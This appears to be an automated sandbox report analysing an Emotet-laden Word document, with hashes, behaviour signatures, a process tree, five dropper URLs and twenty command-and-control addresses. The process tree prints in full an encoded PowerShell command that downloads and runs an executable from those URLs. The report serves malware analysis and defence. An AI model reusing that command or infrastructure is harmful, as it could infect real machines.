Analysis

  • max time kernel
    135s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    30/07/2020, 13:20

General

  • Target
    ZO_64027554234033.doc
  • Size 177KB
  • Sample200730-mn6jz67e1e
  • SHA256 739e50e7bd1c36b43db67f896b7fd97fb2336438531535461784e5a044f1277e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://kmgusa.net/_Media/vcpg_k56w_8d5/

  • exe.dropper

    http://saangberg.com/wp-includes/u_a_vn/

  • exe.dropper

    https://webpresario.com/now/Marck-Script/c3j0x_6_8z2g0sdd/

  • exe.dropper

    https://www.merlincolor.com/stylesheets/46_b_ez5p/

  • exe.dropper

    http://www.geodesign07.com/wp-content/ni9tn_7_6aiui/

Extracted

Family
  • emotet

C2
  • 47.146.117.214:80

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 190.160.53.126:80

  • 87.106.136.232:8080

  • 74.208.45.104:8080

  • 121.124.124.40:7080

  • 124.45.106.173:443

  • 76.27.179.47:80

  • 210.165.156.91:80

  • 61.19.246.238:443

  • 81.2.235.111:8080

  • 169.239.182.217:8080

  • 181.230.116.163:80

  • 139.130.242.43:80

  • 46.105.131.87:80

  • 139.59.60.244:8080

  • 222.214.218.37:4143

  • 41.60.200.34:80

  • 200.55.243.138:8080

rsa_pubkey.plain

Signatures

  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Blacklisted process makes network request 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 11 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ZO_64027554234033.doc" /o ""
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Suspicious use of SetWindowsHookEx
    PID:3920
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABTAFYATgBCAEgAdwB1AHoAPQAnAFMAUABGAEMAWgBhAGgAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwB1AFIASQBgAFQAeQBwAGAAUgBPAHQATwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFgATABRAEgATABvAHAAbAAgAD0AIAAnADQAMQA1ACcAOwAkAFIASgBSAEkATgBlAGkAbAA9ACcASgBQAFkAWABMAGQAbAB3ACcAOwAkAFUARgBOAEYAQQBwAHEAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWABMAFEASABMAG8AcABsACsAJwAuAGUAeABlACcAOwAkAFQAWQBSAEwAQgBtAHgAbQA9ACcAVgBMAFAAWgBDAGUAYwB0ACcAOwAkAEMAQgBUAEQAVABmAGMAcQA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAEUAYgBDAEwASQBFAG4AVAA7ACQAWABLAEcAWQBQAGwAZwB3AD0AJwBoAHQAdABwADoALwAvAGsAbQBnAHUAcwBhAC4AbgBlAHQALwBfAE0AZQBkAGkAYQAvAHYAYwBwAGcAXwBrADUANgB3AF8AOABkADUALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGEAbgBnAGIAZQByAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAXwBhAF8AdgBuAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBlAGIAcAByAGUAcwBhAHIAaQBvAC4AYwBvAG0ALwBuAG8AdwAvAE0AYQByAGMAawAtAFMAYwByAGkAcAB0AC8AYwAzAGoAMAB4AF8ANgBfADgAegAyAGcAMABzAGQAZAAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBlAHIAbABpAG4AYwBvAGwAbwByAC4AYwBvAG0ALwBzAHQAeQBsAGUAcwBoAGUAZQB0AHMALwA0ADYAXwBiAF8AZQB6ADUAcAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAZQBvAGQAZQBzAGkAZwBuADAANwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG4AaQA5AHQAbgBfADcAXwA2AGEAaQB1AGkALwAnAC4AIgBzAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIATgBBAFcAWQBsAHYAcQA9ACcAVABSAFQAWQBPAGUAeQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAEEATgBNAFcAcQBkAHMAIABpAG4AIAAkAFgASwBHAFkAUABsAGcAdwApAHsAdAByAHkAewAkAEMAQgBUAEQAVABmAGMAcQAuACIAZABgAE8AVwBOAEwATwBBAGQAZgBJAGAAbABlACIAKAAkAFEAQQBOAE0AVwBxAGQAcwAsACAAJABVAEYATgBGAEEAcABxAGIAKQA7ACQAVgBHAEkARQBLAGIAYwBuAD0AJwBLAEoATQBVAFYAcwBhAGoAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABVAEYATgBGAEEAcABxAGIAKQAuACIAbABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADcANgAyADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGAARQBBAHQAZQAiACgAJABVAEYATgBGAEEAcABxAGIAKQA7ACQAVwBBAEYAUABLAHoAZAB1AD0AJwBXAFgATABCAE4AcwBnAG0AJwA7AGIAcgBlAGEAawA7ACQAVwBDAFoAVABLAGwAawBnAD0AJwBaAFcAQgBZAEUAdQBvAHMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBRAFgARQBIAGcAdQByAD0AJwBZAEkAWgBDAE8AZgBnAG0AJwA=
    1⤵
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:3780
  • C:\Users\Admin\415.exe
    C:\Users\Admin\415.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:1552
    • C:\Windows\SysWOW64\getuname\ustprov.exe
      "C:\Windows\SysWOW64\getuname\ustprov.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1904

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1552-9-0x0000000000770000-0x000000000077C000-memory.dmp

        memory/1904-12-0x0000000000640000-0x000000000064C000-memory.dmp

        memory/3920-3-0x000001D2D5362000-0x000001D2D5367000-memory.dmp

        memory/3920-6-0x000001D2D556D000-0x000001D2D5572000-memory.dmp

        memory/3920-5-0x000001D2D556D000-0x000001D2D5572000-memory.dmp

        memory/3920-4-0x000001D2D5572000-0x000001D2D5577000-memory.dmp

        memory/3920-0-0x000001D2D5362000-0x000001D2D5367000-memory.dmp

        memory/3920-2-0x000001D2D556D000-0x000001D2D5572000-memory.dmp

        memory/3920-1-0x000001D2D5362000-0x000001D2D5367000-memory.dmp